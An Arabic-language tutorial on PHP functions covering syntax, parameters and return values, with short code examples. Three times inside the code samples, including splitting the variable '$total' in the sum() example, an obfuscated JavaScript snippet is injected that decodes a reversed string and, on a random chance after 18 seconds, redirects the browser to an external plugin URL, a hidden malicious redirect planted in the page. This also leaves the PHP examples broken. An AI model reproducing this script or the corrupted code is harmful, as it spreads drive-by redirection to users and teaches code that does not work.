الدوال (Functions) واستخداماتها في لغة PHP
تخيل معي مشروع ضخم يحتوي على عددٍ من الاكواد المكررة ،هنا يأتي دور الدوال (functions) وهي مجموعة من التعليمات البرمجية التي تنجز مُهمِّة معيّنة وهدفها ألا تكرر الاكواد التي تكتبها ، فمثلًا يكون هنالك دوال لتسجيل الدخول (login) والتسجيل (register) وتسجيل الخروج (logout). ومن خصائصها:
- يمكنك استدعائه في أي مكان في الصفحة .
- يمكنك وضعه ضمن وظيفة للحفاظ على الكود من ظهوره عند تحميل الصفحة .
- يمكن إظهار function من خلال استدعائه .
طريقة كتابة الكود :
function functionName() { code <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to be executed; }
ملاحظات مهمة عند انشاء الدوال:
- يجب كتابة function قبل تعريف اسم الدالة.
- ضع اسم مناسب للكود الوظيفي بحيث يشرح وظيفة عمل الكود .
- يمكن أن يبدأ اسم الكود بأحرف أو اشارة _ ولكن ليس رقم .
- يتم تحديد parameters بعد اسم function داخل الأقواس .
مثال : انشاء دالة لطباعة نص
<?php function writeMsg() { echo "مرحبا بك في موقع "; } writeMsg(); // يتم استدعاء الدالة للطباعة ?>
إضافة الباراميتر ‘parameters’ في الدالة :
يعتبر الباراميتر مثل المتغير تماماً .وكما ذكرنا سابقا ان الباراميتر يتم تحديده بعد اسم function داخل الأقواس .ويمكنك تحديد اكثر من باراميتر واحد . تابع المثال :
<?php function familyName($fname)// تم انشاء باراميتر واحد { echo " . الاسم :$fname <br>"; // لاحظ هنا كتابة الباراميتر لطباعة عند الاستدعاء } // كتابة القيم داخل الباراميتر familyName("احمد"); familyName("محمد"); familyName("علي"); familyName("خالد"); ?>
مثال اخرى يحتوي على اثنين من parameters :
<?php function familyName ($name,$year) { echo "<h2>الاسم:$name ، العمر :$year <br></h2>"; } familyName('خالد','٢٠'); familyName('محمد','١٩'); ?>
ارجاع القيم Return values :
لإرجاع قيمة من الكود يمكن استخدام التعبير return،مثال :
<?php function sum($num1,$num2) { $<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>total=$num1+$num2; return $<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>total; } echo "1 + 5 =".sum('1','5')."</br>"; echo "6 + 7 =".sum('6','7')."</br>"; ?>